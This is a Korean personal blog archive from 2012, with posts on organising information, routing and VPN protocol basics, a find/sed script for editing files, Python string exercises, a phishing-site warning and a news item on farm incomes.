정보정리의 기술 posted on 2012/05/06 23:51, filed under Book
어느날 PC의 하드용량이 거의 90%나 찼다는 걸 알게되었다.

내 하드는 1TB인데 거의 900GB가 도데체 뭘로 찼단 말인가?

찾아보니 거의 대부분이 본 영화, 볼 영화, 다큐멘타리 시리즈, 오락 영상, 보지 않은 강의 영상, ebook 등이 대부분이였다.

그러니까 정리되지 않은 수십GB의 영상과 자료들이 무분별하게 저장되어있었다.

그냥 대부분이 가지고 있으면 좋은 자료일 것 같은, 또는 놔두면 언잰가는 찾아볼 날이 있겠지하는 자료 들이였다.

하지만 대부분의 자료는 1~2년 족히 넘은 것이고 1~2년 동안 찾아본적도 없는 그런자료들이였다.

오늘 아내와 도서관에 갔는데, 어떻게 하면 자료를 잘정리할수 있을까 생각이 들어 자료 정리에 대한 책을 찾다가 이 책을 보게 되었다.


사용자 삽입 이미지

이 책의 저자는 나의 고민과 생각을 꿰뚫어 보기라도 한듯, 간단하고 명료하게 정리해주었다.

인터넷의 정보를 단순히 저장만 하는 것은 컴퓨터에 쓰레기를 저장할 뿐이고,

정보를 지식으로 만들기 위해서는 정보를 다시 정리하고 자신의 것으로 만들어 작품(글)을 남김으로 마무리 하라고 말한다.

우리는 인터넷을 이용하면서 모르는 것을 언재든지 확인할 수 있기 때문에 공부를 하지않아도 된다는 착각빠진다(모르면 찾아보면 나오니까.)

하지만 인터넷의 정보를 받아 들여 자신의 것으로 만들지 못하면 정보에 휘둘릴뿐이다.

쉽게 찾은 정보는 쉽게 잊어버리며, 사고하지 않게 되면서 정보의 활용이나 정보에서 새로운 아이디어의 창출은 어려워진다고 말한다.

생각해보면 나도 인터넷 쓰는 방법이 매우 단순하고 생각이나 사고 없이 접근한다는 것을 느꼈다.

내가 정보를 수집하고 검색하는 패턴을 살펴보면

알고싶은 주제가 생기면 키워드를 선정해서 검색 -> 무수한 제목들을 훓어봄 -> 내가 생각하는 주제와 비슷하면 클릭 -> 내용을 훓어봄 -> 맞으면 내용을 스크랩(또는 저장) -> 아니면 다시 다른 글들을 훓어봄

즉 검색하고 받아들일것인지 버릴것인지에 대해 훓어 보기만 하지 그 정보에 대해 생각하고 사고 하는 일은 거의 없다.

이런 현상에 대해 저자는 검색하기전에 주제에 대한 (오프라인으로)입문서를 읽고 검색 및 접근하기를 권장한다.

기본(기초)지식이 있어야 인터넷에 주관적으로 정리된 주제에 대한 비판적인 사고도 하며 활용 및 새로운 아이디어를 얻을수 있다는 것이다.

그러면 정리는 어떻게 할것인가?

저자는 자신만의 작품(글)을 만들어라고 한다, 작품에 자신의 생각과 느낀점, 아이디어를 정리하는 것이다,

그리고 작품이 완성되면 작품에 사용했던 정보들은 삭제 하는 것이 좋다고 한다. (삭제 하기 아깝다면 작품에 포함하는 것이 좋다)

그래서 나도 앞으로는 영화를 보면 영화를 보고 내가 느낀것, 생각한 내용을 정리하고 하나의 작품을 정리하는 작업을 해야겠다고 생각했다.

책을 읽으면서 컴퓨터는 정보를 수집하고 정리할수 있는 훌륭한 도구지만, 잘못 사용(무분별한 인터넷 서핑)하면 시간을 좀먹는 기계이고, 정보의 쓰레기장으로 변할수 있다는 생각이 들었다.


크리에이티브 커먼즈 라이센스
Creative Commons License
2012/05/06 23:51 2012/05/06 23:51


라우팅(Routing)의 기본 개념 posted on 2012/05/06 00:24, filed under Develop-Network

라우팅의 기본 개념
 
라우팅(Routing)이란 Internetwork을 통하여 근원지에서 목적지로 데이터가 전달될 수 있도록 하는 기능을 말합니다.
여러분들이 서울을 출발해서 부산을 가려고 한다고 가정해 볼 때 서울에서 부산까지 여러가지 경로가 있을 것입니다. 이 때 가고자 하는 목적지(부산)로 가는 많은 경로 중 하나를 선택하여 이동하는 것을 라우팅이라고 생각하시면 될 것입니다.  
라우터가 packet을 목적지까지 전달할 수 있도록 하려면 라우터는 해당 목적지에 대한 경로 정보를 알고 있어야 하며, 이 정보에 따라 packet을 전달합니다. 따라서 라우터들은 목적지에 대한 경로 정보를 가지고 이웃의 라우터들과 경로 정보를 교환하는데, 이때 경로 정보(라우팅 정보)를 교환하는 Protocol을 라우팅 프로토콜이라고 합니다.
Routing에는 Network Admin이 Router마다 최적의 경로를 인위적으로 등록하는 정적 경로(Static Routing)와 자동적인 Routing Algorithm에 의해 최적의 경로를 판단하는 동적 경로(Dynamic Routing)가 있습니다.

1) 정적 경로 설정 vs 동적 경로 설정

- 정적 경로 설정(Static Routing Protocol)
관리자가 네트워크에 대한 경로 정보를 직접 지정하여 Routing하는 방법  

* 장점
동적 경로 설정보다 관리자에 의한 라우팅 정보만을 참조하므로 라우터 자체의 부담이 없어 동적 경로 설정보다 속도가 빠르며 안정적임
* 단점
네트워크의 변화가 빈번한 경우, 등록해야 할 네트워크의 수가 많을 경우에는 능동적으로 경로 설정을 변경하기 어렵고, 관리자의 네트워크에 대한 설정 및 운영지식을 습득해야 함

- 동적 경로 설정(Dynamic Routing Protocol)
동적인 Routing으로 대규모 Network에 사용하며 인접한 라우터 간에 동일한 Routing Protocol을 설정하여 라우터 간에 변경된 네트워크에 대한 정보를 자동으로 교환하여 Routing하게 하는 방법

* 장점
라우터 간에 서로 Routing 정보를 주고 받아 Routing Table을 라우터가 자동으로 작성하기 때문에 Network 관리자는 초기 설정만 해주면 됨
Network의 변화에 능동적으로 대처할 수 있음  
* 단점
라우터의 Memory를 Static Routing보다 많이 차지함

2) IGP vs EGP  
네트워크의 집합을 몇 개의 그룹으로 나누었을 때 동일 그룹 내에서 라우팅 정보를 교환할 때 사용하는 라우팅 프로토콜을 IGP(Internal Gateway routing Protocol)라고 하고, 다른 그룹과 라우팅 정보를 교환하는 프로토콜을 EGP(Exterior Gateway routing Protocol)라고 합니다.
Routing Domain은 하나의 관리 정책 하에서 운영되어지는 Routing 범위이며, 일반적으로 기업 및 ISP의 개별 네트워크가 그 단위가 됩니다. 따라서 기업 내부에서의 Routing Protocol은 IGP를 사용하며, 그 Routing Domain간 Routing은 EGP를 사용하게 됩니다.

- IGP
* 라우터로 상호 접속되어 있는 여러 개의 네트워크 집합을 도메인(Domain) 혹은 자율 시스템(Autonomous System, AS)이라고 함
* 같은 Domain 내에 존재하는 라우터는 Domain 내부 라우터가 되고 Domain 외부에 존재하는 라우터는 Domain 외부 라우터가 되는데, 여기서 Domain 내부 경로 설정에 관한 프로토콜이 IGP임
* 단일 시스템의 네트워크에서 경로 제어 정보 등을 전달하는 데 사용되는 프로토콜로서 RIP(Routing Information Protocol), HELLO, IGRP(Interior Gateway Routing Protocol), OSPF(Open Shortest Path First), IS-IS(Intermediate System-to-Intermediate System) 등이 이에 해당됨

- EGP  
* 시스템 사이에 경로 설정 정보 등을 교환하기 위해 사용하는 프로토콜
* 다른 도메인 사이에 Routing시, 정리된 관리가 거의 없고, 많은 경우에 신용도가 매우 낮아, 빠른 수행보다는 보안과 제어가 EGP의 본래 목적임
* EGP(Exterior Gateway Protocol: 게이트웨이 역외 프로토콜)와 BGP(Boarder Gateway Protocol: 종속 게이트웨이 프로토콜) 등이 이에 해당됨

사용자 삽입 이미지


 
3) Distance Vector vs Link State
최적의 Path를 결정하는 기준(Metric), Router간 교환 Routing 정보(Message), Routing Table의 생성, 변경 정보의 전달방식 등에 따른 분류입니다. Dynamic Routing에는 주로 두 가지의 방식이 사용되는데, 하나는 Link State 방식이고 또 다른 하나는 Distance Vector 방식입니다.

Link State : Network에 대한 전반적인 정보(Topology, path)를 갖음
Distance Vector : Network의 Distance 값에 대한 정보만 갖음

- Distance Vector Protocol
Distance Vector란 경로 설정을 위한 요소를 거리와 방향에 중점을 두고 만들어진 라우팅 알고리즘입니다. 경로설정(Routing Table)의 일부 또는 전체를 직접 접속된 Router와 교환하여 Routing Table을 생성, 관리하는 Protocol로서 특정 Destination에 대한 다수의 경로 중 Hop 수를 기준으로 최적경로를 결정(단일 Metric)합니다. 설정은 쉽지만, 주기적인 Routing Table 교환에 의존하므로 변경에 대한 반영이 느립니다.
즉, 모든 라우터들은 주기적으로 라우팅 테이블을 교환하여 라우팅 정보의 변화가 생기지 않았는지를 지속적으로 확인 및 관리하게 됩니다. 이에 해당하는 라우팅 프로토콜에는 RIP, IGRP 등이 있습니다.

* RIP(Routing Infomation Protocol)
최초에 Xerox Network System(XNS) 프로토콜에 사용하기 위하여 설계된 프로토콜
1982년 버클리(Berkeley Standard Distribution) 버전의 UNIX에 탑재되기 시작하면서 UNIX와 TCP/IP에 결합되기 시작하였으며, 오늘날에도 가장 일반적으로 사용되는 라우팅 프로토콜의 하나임
RIP에서 라우팅 테이블은 데이터그램 패킷을 통하여 모든 라우터에 방송(Broadcast) 되며, 송신지와 수신지 간의 거리는 패킷이 경유하는 라우터의 갯수에 해당하는 Hop 수로 표시
최대 hop을 16으로 제한하므로 16이상의 경우는 도달할 수 없는 네트워크를 의미함  
소규모 네트워크에 주로 이용되며, 네트워크 상황 변화에 신속하게 대처하지 못하며, 멀티캐스팅을 지원하지 못함

* IGRP
시스코(Cisco)사에서 독자적으로 개발한 프로토콜로, 독립적 네트워크 내에서만 사용하기 위해 개발된 것
RIP과 유사하게 IGRP는 Hop 수를 기준으로 한 정보를 전송함
라우팅 경로의 결정은 회선의 전송 능력, 전송 지연 시간, 회선의 사용율, 신뢰성(에러율), MTU를 바탕으로 결정함
복수의 경로 상에서의 로드 밸런싱(Load Balancing) 기능을 지원함
RIP과 유사하지만, 크고 복잡한 네트워크를 위해 개발되었다는 점이 다름

- Link State Protocol
Link State Algorithm은 Distance Vector Algorithm이 가지고 있는 제한을 극복하기 위하여 디자인 되었습니다. Link State Algorithm은 전체 Network의 위상(Topology) 정보를 Database 형태로 간직합니다. Topology Database를 근거로 SPF(Shortest Path First) Algorithm을 사용하여 Routing Table을 작성하고, Link-State Algorithm은 Network 상에 변화가 있을 때만 Routing 정보를 발송합니다.
따라서 Routing 정보 Traffic이 훨씬 적습니다. 하지만 Topology 등 다수의 Metric을 참조하는 Database를 지녀야 하기 때문에 Distance-Vector 보다 Memory를 많이 사용하며, 계층적 구조를 가지므로 Configuration이 상대적으로 복잡하다는 단점이 있습니다. Link State Algorithm을 사용하는 대표적인 Routing Protocol에는 OSPF가 있습니다.

* OSPF(Open Shortest Path First)
IETF(Internet Engineering Task Force)에서 개발한 프로토콜인 OSPF는 link state 프로토콜을 사용하는 Shortest Path First라는 알고리즘을 사용함  
SPF 알고리즘에서는 모든 라우터가 Topology에 관한 모든 정보(네트워크 맵)를 완벽히 갖고 있음
가장 경제적인 경로 지정과 복수 경로 선정 등의 기능을 제공하여, 변화 발생에 관한 정보가 RIP에 비하여 빨리 전파됨  
라우팅 정보를 인접한 라우터에 모두 전송하는 플러딩(flooding) 방식을 사용하므로 Topology에 관한 정보가 전체 네트워크 상의 라우터에서 동일하게 유지됨
각 라우터는 자신을 네트워크의 중심점으로 간주하여 최단 경로의 트리를 구성하며, 라우터 ID는 전체 라우터들을 OSPF에서 식별하는데 사용됨
식별은 인접된 라우터들의 관계를 설정하는 것과 네트워크에서 구동되는 SPF 알고리즘의 복사본들 사이에서의 메시지 조정을 위해 중요
간단한 인증 기능을 제공함

- Hybrid Protocol
Distance Vector Protocol과 Link State Protocol 방식의 장점만을 수용한 Protocol로 Configuration이 쉽고 효율적입니다. 대표적인 라우팅 프로토콜로는 시스코(Cisco)에서 개발한EIGRP가 있습니다.
 
크리에이티브 커먼즈 라이센스
Creative Commons License
2012/05/06 00:24 2012/05/06 00:24


가상 사설망(VPN) posted on 2012/05/05 01:01, filed under Develop-Network
가상 사설망(VPN)이란 인터넷과 같은 공중망을 이용하여 사설망이 요구하는 서비스를 제공할 수 있도록 구축한 망으로 공중망 내에서 마치 단일 회사만 사용하는 전용선처럼 사용할 수 있는 기술을 말합니다. 공중망을 공유하기 때문에 낮은 비용으로 전용선과 같은 수준의 능력을 제공하므로, 최근 많은 기업의 Extranet과 광범위한 Intranet에서 사용되고 있습니다.
 
VPN은 터널링 프로토콜과 보안과정을 거쳐 내부 기밀을 유지하여 보안성이 우수합니다. 또한, 외부인으로부터 안전하도록 주소 및 라우터 체계의 비공개와 데이터 암호화, 사용자 인증, 사용자 액세스 권한 및 제한의 기능을 제공합니다.

사용자 삽입 이미지

1) PPTP(Point to Point Tunneling Protocol)
PPTP(Point to Point Tunneling Protocol)는 마이크로소프트사가 어센드사와 함께 설계한 VPN 프로토콜로서, Window NT4.0에서 처음으로 제공되었습니다. PPTP의 기본은 PPP(Point to Point Protocol)의 Packet을 IP Packet으로 Encapsulation하여 IP 네트워크에서 전송하기 위한 터널링 기법입니다.
 -  터널링에 의한 IP Packet의 라우팅을 위해서는 GRE(Generic Routing Encapsulation)라고 하는 Routing Tag 기법을 사용
 -  IP, IPX 또는 NetBEUI(Network BIOS Enhanced User Interface, IBM) 페이로드를 암호화하고, IP 헤더로 캡슐화하여 전송함
 -  터널의 유지, 보수, 관리를 위하여 TCP 연결을 사용하고 이동 사용자(Mobile user)가 서버(Home Server)에 접속하기에 용이하도록 구성됨
 -  서버가 마이크로소프트사의 윈도 NT(Windows New Technology) 서버여야 하고, 사용자는 별도의 PPTP 지원 소프트웨어를 사용해야 함
 -  PPTP는 하나의 터널에 하나의 연결만을 지원하여 일대일 통신만 가능하다는 단점이 있었으나 현재는 다중접속을 지원하기도 함

2) L2TP(Layer 2 Tunnelling Protocal)
L2TP는 마이크로소프트와 Cisco에서 제안한 L2F(Layer 2 Forwarding)에 기반을 두고 PPTP와의 호환성을 고려하여 만들어진 터널링 프로토콜의 표준입니다.
L2TP는 IP, IPX, AppleTalk Protocol에 대해 지원되며 X.25, ATM, Frame Relay, SONET과 같은 WAN 기술도 지원합니다. IPSec을 이용하여 패킷을 암호화하는 기능을 보유하고 있으며, L2TP는 UDP 1701 포트를 사용하여 접속과 데이터 전송을 관리합니다.

* 가입자 인증 확인 및 세션 연결 과정
1. ISP에서 제공하는 VPN 서비스 사용자들은 ISP의 LAC(Layer2 Access Controller)에 인증요청
2. ISP의 인증서버는 사용자에 대한 아이디와 비밀번호를 확인하여 사용다에 대한 접속을 허가함
3. 사용자가 기업의 사내망에 접속하고가 할 경우 ISP의 인증서버는 기업의 인증서버로 부터 가입자 인증을 확인할수 있는 프록시 인증 기능수행
4. 가입자 인증이 확인되면 기업의 VPN장비는 ISP의 LAC과 생성된 터널의 세션을 유지하게됨
5. 기업의 VPN장비는 ISP의 인증서버에서 제곻아는 사용자 정보를 이용하여 해당 사용자에 대한 아이피 주소를 아이피 풀에서 할당하게 되고, 가입자 단말과 사내망간에는 세션이 연결됨

3) L2F(Layer 2 Forwarding)
L2F는 시스코(Cisco Systems) 사에서 제안한 프로토콜입니다
 - 원격지의 ISP 장비에서 접근 Server측의 tunnel server로 L2F 터널을 생성시키며, 이 가상 터널은 Direct-dial PPP/RAS 세션을 생성함
 -  원격지 사용자의 home site에서 주소를 할당하며 home site의 gateway에서 사용자 인증을 함
 -  하나의 터널에 여러 개의 연결을 지원하여 다자간 통신을 가능하도록 함
 -  PPP(Point-to-Point Protocol)를 사용하며, 인증으로는 RADIUS와 TACACS+를 이용함

4) IPSec

* 기본 개념 및 특징
IP 망에서 안전하게 정보를 전송하는 표준화된 3계층 터널링 프로토콜로 IP 계층의 보안을 위해 IETF에 의해 제안되어 VPN 구현에 널리 쓰이고 있습니다.
 - 네트워크상의 IP Layer에서의 보안에 중점을 두었으며, 사설 및 공중망을 사용하는 TCP/IP 통신을 보다 안전하게 유지하기 위한 IP 데이터그램의 인증, 무결성과 기밀성을 제공
 - IP 계층에서 직접 서비스를 제공함에 따라 상위 계층 프로그램의 변경이 필요 없음
 - 암호화된 패킷은 보통의 IP 패킷과 동일한 형태를 갖기 때문에 네트워크 장비의 내부 변경 없이 IP 네트워크를 통해서 쉽게 라우팅이 가능함
 - 차세대 인터넷 프로토콜인 IPv6에서는 IPSec을 기본적으로 포함하고 있으며, IPv4에서도 IPSec을 사용하는 것이 보안을 위해 필요함

* IPSec의 구분
사용자 삽입 이미지


* IPSec 종류
 - AH(Authentication Header) Protocol
AH Protocol은 IP 데이터그램에 제공하는 기능으로 사용자 인증(Authentication)과 데이터 무결성(Integrity)에 사용합니다. AH를 이용하여 인증을 할 때, MD5, SHA-1 등의 인증 알고리즘을 이용하여 키 값과 IP 패킷의 데이터를 입력한 인증 값을 계산하여 AH의 인증 필드에 기록하게 되고, 수신자는 같은 키를 이용하여 인증 값을 검증합니다. AH는 재연공격(Replay attack)으로부터의 보호 기능을 제공합니다.
전송모드와 터널모드 비교
사용자 삽입 이미지


 - ESP(Encapsulation Security Payload) Protocol
ESP는 IPSec에서 IP 페이로드를 암호화하여 데이터 기밀성(Confidentiality)을 제공함으로써 제 3자의 악의에 데이터가 노출되는 것을 차단합니다. IP 데이터그램에 제공하는 기능으로서 사용자 및 데이터의 선택적 인증, 무결성, 기밀성, 재연공격(replay attack) 방지를 위해 사용합니다. 부분적인 순서 무결성, 제한적인 트래픽 플로우 비밀성도 갖습니다.
AH와 달리 암호화를 제공하며 대칭키(DES-CBC, 3DES) 암호화 알고리즘을 사용합니다. 적용방법을 보면 ESP 단독으로 할 수도 있고, 인증 기능을 제공하기 위하여 AH와 함께 사용할 수도 있습니다. 또, 터널모드를 사용할 때는 ESP+AH 조합형태도 사용될 수 있습니다. ESP를 이용하여 host vs. host, host vs. 보안 gateway, 보안 gateway vs. gateway 등에 대해서 보안서비스를 제공하는 데 사용합니다.
앞에서 설명한 것과 같이 ESP(Encapsulation Security Payload)는 터널 종단간에 협상된 키와 암호화 알고리즘으로 데이터그램을 암호화하는데 이용합니다.
전송모드와 터널모드 비교
사용자 삽입 이미지

 
* ESP + AH 이용한 IPSec 보안 구성
사용자 삽입 이미지


* IPSec의 키 관리 프로토콜
IPSec에서는 키 관리가 매우 중요합니다. 그러나, 키 관리는 IPSec과 독립적으로 구현되므로, 여러 가지 키 관리 프로토콜 중에서 선택하여 사용할 수 있습니다. 키 관리 프로토콜에는 SKIP, Photuris, ISAKMP 등이 있습니다. 키 관리 프로토콜은 아직 RFC로 채택되어 표준화되지 않았습니다.
 - ISAKMP(Internet Security Association and Key Management Protocol)
SA(Security Association) 설정, 협상, 변경, 삭제 등 SA 관리와 키 교환을 정의하였으나, 키 교환 메커니즘 자체에 대한 언급은 없음
 - IKE(Internet Key Exchange) 프로토콜
ISAKMP에서 정의한 Payload의 구성 및 메시지 해석 방법과 Oakley라는 키 결정 프로토콜에서 정의한 방식으로 세션키를 유도했기 때문에 초기에 ISAKMP/Oakley라는 이름으로 불림
IKE 표준은 각각을 적절히 조화시켜서 표준화한 것임. IKE 메시지는 UDP 프로토콜을 사용해서 전달되며 출발지 및 도착지 주소는 500번 포트를 사용하게 됨

* VPN 보안 취약점 및 보완 방법
VPN은 보안성이나 네트워크의 활용 측면에서나 대단히 좋은 솔루션임에도 불구하고 취약점이 존재합니다. 이러한 취약점은 다음과 같이 보완될 수 있습니다.
 - 보안 취약점
클라이언트에 백 도어 설치 또는 키 노출 시 해커는 정상적인 키로 정상접근 가능하며 내부에 가장 쉽고 안전하게 침입이 가능함
최초 사용자 패스워드 키로 모든 사람들이 동일 키 사용 시, 이 키가 노출되면 침입자가 쉽게 해독 가능함
 - 보완방법
개인용 방화벽 및 안티 바이러스 프로그램을 설치하여 백도어 프로그램을 제거하여야 함. 안전한 키관리 및 사용자 인증관리를 하여야함

요약
* 가상사설망
인터넷과 같은 공중망을 이용하여 사설망이 요구하는 서비스를 제공할 수 있도록 구축한 망으로 공중망 내에서 마치 단일 회사만 사용하는 전용선처럼 사용할 수 있는 기술을 말합니다.
 
* 터널링
송신자와 수신자 사이의 전송로에 외부로부터의 침입을 막기 위해 일종의 파이프를 구성하는 것으로 파이프는 터널링을 지원하는 프로토콜을 사용하여 구현하고 있으며, 사설망과 같은 보안 기능을 지원합니다. 터널링되는 데이터를 페이로드(Payload)라고 부르며 터널링 구간에서 페이로드는 그저 전송되는 데이터로 취급되어 그 내용은 변경되지 않습니다
사용자 삽입 이미지


가상 사설망(VPN, Virtual Private Network) 프로토콜의 종류와 각각의 특징
사용자 삽입 이미지




크리에이티브 커먼즈 라이센스
Creative Commons License
2012/05/05 01:01 2012/05/05 01:01


작업을 하다가 엄청난 수의 파일중에 특정문자열("format=%S") 이 포함된 파일의 첫번째 줄을 지워야 하는 문제가 발생해서 스크립트를 하나 작성했다.

물론 하부 디렉토리도 많이 있으며, 모든 파일 대상이다.

find 명령어와 sed 명령을 이용해 해결했다.(뿌듯)

응용하면 더 잼있는 것도 만들수 있을 듯..

#!/bin/sh

if [ -n "$1" ]
then
        for i in `find $1 -type f | xargs grep -l "format=%S"`

        do
        echo "$i"
        sed -i 1d $i
        done

else
        echo "input path "
        echo "EX) $0 /home/apollo89 "
fi


결과 :
]$ ./first_line_delete.sh
input path
EX) ./first_line_delete.sh /home/apollo89

]$ ./first_line_delete.sh /data/
/data/file1
/data/file2
/data/file4
/data/1/file103
...
]$  

크리에이티브 커먼즈 라이센스
Creative Commons License
2012/05/03 17:02 2012/05/03 17:02


파이썬(python) 스터디 - String posted on 2012/05/01 22:55, filed under Develop-Programing
파이썬(python) 스터디 - String

Programming Languages 에서 Google's Python Class 의 String 을 스터디..

http://code.google.com/intl/ko-KR/edu/languages/google-python-class/strings.html

대충 읽고 나니 연습문제가!

지난번에 받은 google-python-exercises 에서 basic/string1.py 을 풀어보았다.

# A. donuts
# Given an int count of a number of donuts, return a string
# of the form 'Number of donuts: <count>', where <count> is the number
# passed in. However, if the count is 10 or more, then use the word 'many'
# instead of the actual count.
# So donuts(5) returns 'Number of donuts: 5'
# and donuts(23) returns 'Number of donuts: many'
def donuts(count):
  result = 'Number of donuts: ';
  if count >= 10: result = result + 'many'
  else: result = result + str(count)
  return result


# B. both_ends
# Given a string s, return a string made of the first 2
# and the last 2 chars of the original string,
# so 'spring' yields 'spng'. However, if the string length
# is less than 2, return instead the empty string.
def both_ends(s):
  if len(s) > 2: result = s[0:2] + s[-2:]
  else: result = ''
  return result


# C. fix_start
# Given a string s, return a string
# where all occurences of its first char have
# been changed to '*', except do not change
# the first char itself.
# e.g. 'babble' yields 'ba**le'
# Assume that the string is length 1 or more.
# Hint: s.replace(stra, strb) returns a version of string s
# where all instances of stra have been replaced by strb.
def fix_start(s):
  result = s.replace(s[0], '*')
  return s[0] + result[1:]


# D. MixUp
# Given strings a and b, return a single string with a and b separated
# by a space '<a> <b>', except swap the first 2 chars of each string.
# e.g.
#   'mix', pod' -> 'pox mid'
#   'dog', 'dinner' -> 'dig donner'
# Assume a and b are length 2 or more.
def mix_up(a, b):
  left = b[0:2] + a[2:]
  right = a[0:2] + b[2:]
  return left + " " + right



결과 :
basic apollo89$ python string1.py 
donuts
 OK  got: 'Number of donuts: 4' expected: 'Number of donuts: 4'
 OK  got: 'Number of donuts: 9' expected: 'Number of donuts: 9'
 OK  got: 'Number of donuts: many' expected: 'Number of donuts: many'
 OK  got: 'Number of donuts: many' expected: 'Number of donuts: many'

both_ends
 OK  got: 'spng' expected: 'spng'
 OK  got: 'Helo' expected: 'Helo'
 OK  got: '' expected: ''
 OK  got: 'xyyz' expected: 'xyyz'

fix_start
 OK  got: 'ba**le' expected: 'ba**le'
 OK  got: 'a*rdv*rk' expected: 'a*rdv*rk'
 OK  got: 'goo*le' expected: 'goo*le'
 OK  got: 'donut' expected: 'donut'

mix_up
 OK  got: 'pox mid' expected: 'pox mid'
 OK  got: 'dig donner' expected: 'dig donner'
 OK  got: 'spash gnort' expected: 'spash gnort'
 OK  got: 'fizzy perm' expected: 'fizzy perm'
basic apollo89$ 





내친김에 basic/string2.py 까지 고고~

# D. verbing
# Given a string, if its length is at least 3,
# add 'ing' to its end.
# Unless it already ends in 'ing', in which case
# add 'ly' instead.
# If the string length is less than 3, leave it unchanged.
# Return the resulting string.
def verbing(s):
  if len(s) < 3: result = s
  else :
    if s[-3:] == 'ing': result = s + 'ly'
    if s[-3:] != 'ing': result = s + 'ing'
  return result


# E. not_bad
# Given a string, find the first appearance of the
# substring 'not' and 'bad'. If the 'bad' follows
# the 'not', replace the whole 'not'...'bad' substring
# with 'good'.
# Return the resulting string.
# So 'This dinner is not that bad!' yields:
# This dinner is good!
def not_bad(s):
  findNot = s.find('not')
  findBad = s.find('bad')
  if findBad > findNot: result = s[:findNot] + 'good' + s[findBad+3:]
  else: result = s
  return result


# F. front_back
# Consider dividing a string into two halves.
# If the length is even, the front and back halves are the same length.
# If the length is odd, we'll say that the extra char goes in the front half.
# e.g. 'abcde', the front half is 'abc', the back half 'de'.
# Given 2 strings, a and b, return a string of the form
#  a-front + b-front + a-back + b-back
def front_back(a, b):

  if len(a)%2 == 1:
    aFront = a[0:(len(a)/2)+1]
    aBack = a[(len(a)/2)+1:]
  else:
    aFront = a[0:(len(a)/2)]
    aBack = a[(len(a)/2):]

  if len(b)%2 == 1:
    bFront = b[0:(len(b)/2)+1]
    bBack = b[(len(b)/2)+1:]
  else:
    bFront = b[0:(len(b)/2)]
    bBack = b[(len(b)/2):]
       
  return aFront + bFront + aBack + bBack


결과 :
basic apollo89$ python string2.py 
verbing
 OK  got: 'hailing' expected: 'hailing'
 OK  got: 'swimingly' expected: 'swimingly'
 OK  got: 'do' expected: 'do'

not_bad
 OK  got: 'This movie is good' expected: 'This movie is good'
 OK  got: 'This dinner is good!' expected: 'This dinner is good!'
 OK  got: 'This tea is not hot' expected: 'This tea is not hot'
 OK  got: "It's bad yet not" expected: "It's bad yet not"

front_back
 OK  got: 'abxcdy' expected: 'abxcdy'
 OK  got: 'abcxydez' expected: 'abcxydez'
 OK  got: 'KitDontenut' expected: 'KitDontenut'
basic apollo89$ 














크리에이티브 커먼즈 라이센스
Creative Commons License
2012/05/01 22:55 2012/05/01 22:55


파이썬(python) 스터디 - 설치 posted on 2012/05/01 22:46, filed under Develop-Programing
파이썬(python) 스터디 - 설치


파이썬 스터디를 시작했다..

Google Code 에 좋은 Code University 가 있더라..

http://code.google.com/intl/ko-KR/edu/


Programming Languages 에서 Google's Python Class 부터 시작하기로 했다.

먼저 Python Set Up 부터..

http://www.python.org/download/ 에 가면 각종 버전별로 다운로드 받을 수 있다.


자신의 OS 에 맞게 다운받고 설치한다.

그 다음 아래의 연습문제 코드를 받아서 압축을 풀고 코드를 실행해서 아래와 같이 나오면 성공!

http://code.google.com/edu/languages/google-python-class/google-python-exercises.zip


google-python-exercises apollo89$ python hello.py 
Hello World
google-python-exercises apollo89$ python hello.py apollo89
Hello apollo89
google-python-exercises apollo89$ 








크리에이티브 커먼즈 라이센스
Creative Commons License
2012/05/01 22:46 2012/05/01 22:46


농협 피싱 조심. posted on 2012/04/27 09:28, filed under Develop-Security
한 2일 전에 농협 보안 강화하라는 문자가 왔다..

딱 보자마자 피싱이구나 생각이 들었는데..

어떻게 생겼나 궁금해서 접속해 봤다..
(지금은 열리지 않는다.)

사용자 삽입 이미지


보안강화 하라는 창이 뜨고 다른 메뉴는 눌러지지 않는다.

사용자 삽입 이미지


보안 강화 신청하기를 누르면 위와 같은 창이뜬다..

딱봐도 입력하기 무지 싫어지는 창이다.

사용자 삽입 이미지


실제로 입력하면 어떻게 될까 궁금해서

가짜 데이터를 막 입력했다..

뭐하나 입력안하면 다 입력하라고 자꾸 경고창이 뜬다..(무지 귀찮다)

사용자 삽입 이미지


다 입력하고 완료하면 정상 처리 되었고, 1~2시간 후에 정상적으로 사용할수 있단다..

겉보기만으로는 잠깐 속을 수 있겠지만...

금방 피싱인지 눈치챌 수 있을것 같지만, 어르신들은 속으실수도...

조심하세요!


크리에이티브 커먼즈 라이센스
Creative Commons License
2012/04/27 09:28 2012/04/27 09:28


연봉 1억 이상 고소득 신의 직업 알고보니...


연간 억대 수입을 올리는 농민과 어민 숫자가 가파르게 증가하고 있다.

통계청은 ‘2010년 농림어업총조사’ 자료를 분석한 결과 농수산물 판매로 1억원 이상 벌어들인 농가는 2010년 기준 2만6000가구로 2005년(1만6000가구)보다 58.5% 늘었다고 24일 발표했다.

부농이 전체 농가에서 차지하는 비중은 2000년 0.6%에서 2010년 2.2%로 세 배 이상 커졌다. 다만 농촌의 고령화로 부농의 평균 연령은 같은 기간 51.2세에서 54.0세로 높아졌다.

부농 중 경지면적이 3㏊ 이상인 농가 비중은 40.6%로 5년 전(36.7%)보다 4%포인트가량 늘었다. 과감한 시설투자를 통해 차별화에 나선 농가들도 고소득을 올렸다. 부농 중 파프리카 토마토 등 시설 채소류를 재배한 농가는 2005년 13.3%에서 24.5%로 두 배 가까이 늘었다. 반면 쌀을 생산하는 농가 비중은 12.3%에서 10.2%로, 인삼 담배 등 특용작물 비중은 5.6%에서 4.9%로 각각 감소했다.

또 연간 1억원 이상 매출을 올린 어가는 5500가구로 전체의 8.4%를 차지했다. 이는 10년 전(3.2%)보다 두 배 이상 늘어난 규모다. 양식업의 부가가치가 높았다. 1억원 이상 어가 중 52.1%가 양식업에 종사했다. 양식업 중에서도 굴 조개 등 패류, 어류, 해조류 등 순으로 부가가치가 높았다.

통계청 관계자는 “농어가의 절대적인 수는 줄어들었지만 특화된 농수산물을 앞세워 고소득을 올리는 농어가는 계속 늘고 있다”고 설명했다.

출처 : http://news.hankyung.com/201204/2012042438761.html?ch=news

-------------------------------------------------------------------------------------------------------------------------------------------


낚시성 기사이긴 하지만...

건축학 개론 보고 귀농의 마음이 다시 타올랐는데..

나중에는 바닷가보다는 바다가 보이는 산(또는 높은 언덕)에 집을 짓고 살고싶다..

아이들도 어릴때는 자연에서 흙만지며 개울에서 개구리나 가제 잡으면 자라는게 좋은것 같은데..

주업을 농업이나 어업으로 하고 부업으로 개발을 해볼까?ㅋ




크리에이티브 커먼즈 라이센스
Creative Commons License
2012/04/25 10:29 2012/04/25 10:29


